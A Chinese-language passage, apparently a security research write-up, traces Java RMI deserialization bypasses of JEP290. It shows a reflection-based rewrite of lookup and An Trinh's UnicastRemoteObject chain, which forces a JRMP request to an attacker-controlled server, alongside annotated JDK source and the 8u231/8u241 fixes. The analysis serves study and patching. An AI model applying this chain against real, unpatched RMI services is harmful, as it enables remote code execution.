与Lookup结合
这里直接做了上层的 lookup 的重写
//多加了个registry参数,然后自己实现部分固定值的获取
public static Remote lookup(Registry registry, Object obj)
            throws Exception {
        RemoteRef ref = (RemoteRef) ReflectionHelper.getFieldValue(registry, "ref");
        long interfaceHash = (long) ReflectionHelper.getFieldValue(registry, "interfaceHash");
        java.rmi.server.Operation[] operations = (Operation[]) ReflectionHelper.getFieldValue(registry, "operations");
        try {
        ....//之后就跟原来的lookup一样了
            //同时这里我还加入了绕过enableReplace,使UnicastRemoteObject可用
 
修复
在 8u231 后做了两处修复。
把discardPedingRefs中的 incomingRefTable 清空了
public void discardPendingRefs() {
    this.in.discardRefs();//去下面
}
//sun.rmi.transport.ConnectionInputStream#discardRefs
void discardRefs() {
    this.incomingRefTable.clear();//消除incomingRefTable里面我们的ref
}
因为当 bind ,lookup 这些方法出现错误的时候会进到 discardPedingRefs 中,那么之后在 sun.rmi.transport.ConnectionInputStream#registerRefs 中也解析不出上面东西了,我们装载的 ref 就被 kill 了。
那现在的问题是是不是之前的 payload 都会报错。
- 自定义类:后续反序列化中找不到它,报错
 
- 转换接口:var8 = (String)var9.readObject(); 进行类型转换的时候报错
 
嗯,都被 kill 了。 
在 sun.rmi.transport.DGCImpl_Stub#dirty 提前了白名单
能发起 JRMP 请求,但执行命令的部分会被 ban 掉。 
 
另一种绕过JEP290的思路(An Trinh)
后半段思路没变,在 RMI 服务端发起 JRMP 请求这部分加了新活。
之前绕过的核心思想:
- readobject反序列化的过程会递归反序列化我们的对象,一直反序列化到我们的UnicastRef类。
 
- 在readobejct反序列化的过程中填装UnicastRef类到
incomingRefTable 
- 在releaseInputStream语句中从incomingRefTable中读取ref进行开始JRMP请求
 
这里的新思路不是在 readObject 递归的过程中触发我们的类,而是在 readObject 调用的时候直接发起请求。
- readobject递归反序列化到payload对象中的UnicastRef对象,填装UnicastRef对象的ref到
incomingRefTable 
- 在根据readobject的第二个最著名的特性:会调用对象自实现的readobject方法,会执行UnicastRemoteObject的readObject,他的Gadgets会在这里触发一次JRMP请求
 
- 在releaseInputStream语句中从
incomingRefTable中读取ref进行开始JRMP请求 
从 java.rmi.server.UnicastRemoteObject#readObject 开始跟一下:
private void readObject(java.io.ObjectInputStream in)
        throws java.io.IOException, java.lang.ClassNotFoundException
    {
        in.defaultReadObject();
        reexport();//这里
    }
跟进 java.rmi.server.UnicastRemoteObject#reexport:
private void reexport() throws RemoteException
    {
        if (csf == null && ssf == null) {
            exportObject((Remote) this, port);
        } else {
            //payload是填充了ssf的,这里
            exportObject((Remote) this, port, csf, ssf);
        }
    }
一直跟到 sun.rmi.transport.tcp.TCPEndpoint#newServerSocket
ServerSocket newServerSocket() throws IOException {
    if (TCPTransport.tcpLog.isLoggable(Log.VERBOSE)) {
        TCPTransport.tcpLog.log(Log.VERBOSE, "creating server socket on " + this);
    }
    Object var1 = this.ssf;
    if (var1 == null) {
        var1 = chooseFactory();
    }
    //var1就是我们的payload中构建的ssf.调用他的createServerSocket
    //会根据动态代理进入RemoteObjectInvocationHandler#invoke
    ServerSocket var2 = ((RMIServerSocketFactory)var1).createServerSocket(this.listenPort);
    if (this.listenPort == 0) {
        setDefaultPort(var2.getLocalPort(), this.csf, this.ssf);
    }
触发了动态代理(和之前攻击用动态代理的原因不同,这里用到的是其会调用 invoke 的性质),进入 java.rmi.server.RemoteObjectInvocationHandler#invoke,到 else 分支触发 java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod 
private Object invokeRemoteMethod(Object proxy,
                                  Method method,
                                  Object[] args)
    throws Exception
    {
        try {
            if (!(proxy instanceof Remote)) {
                throw new IllegalArgumentException(
                    "proxy not Remote instance");
            }
          //我们payload把RemoteObjectInvocationHandler的ref写成了JRMP恶意服务器地址
          //这里开始了触发JRMP请求
            return ref.invoke((Remote) proxy, method, args,
                              getMethodHash(method));
        } catch (Exception e) {
ref 就是我们控制的 UnicastRef 对象,然后就会进到 sun.rmi.server.UnicastRef#invoke(java.rmi.Remote, java.lang.reflect.Method, java.lang.Object[], long) 里,进入 var7.executeCall(),最后在里面触发反序列化。
然后这个方法能绕过 8u231的限制。。。
- 首先这个复写过程是顺着下来一气呵成的,不存在之前先存-再用的问题,不受清除 ref 的影响。
 
- 没有走 DGC 层的 dirty,直接调了 ref 的 invoke,黑名单没用了。
 
 
8u241的修复
把本来的(String)var9.readobject()改成了
SharedSecrets.getJavaObjectInputStreamReadString().readString(var9);前者是可以反序列化Object的,但是后者就完全不接受反序列化Object。
//8u241时这里,type传入String
private Object readObject0(Class> type, boolean unshared) throws IOException {
    //...
    case TC_OBJECT://我们输入的payload对象是一个Object
        if (type == String.class) {
            //8u241 type=String 直接在此处报错不进行反序列化了
        throw new ClassCastException("Cannot cast an object to java.lang.String");
        }
        //之前的版本都是传入type=Object于是正常反序列化
        return checkResolve(readOrdinaryObject(unshared));
    //..
}
如果参数类型是 String 则会直接拒绝反序列化。
第二处是在 java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod 中加入了 method 的验证(不可控),bind + 可认证 ip 的攻击也无了。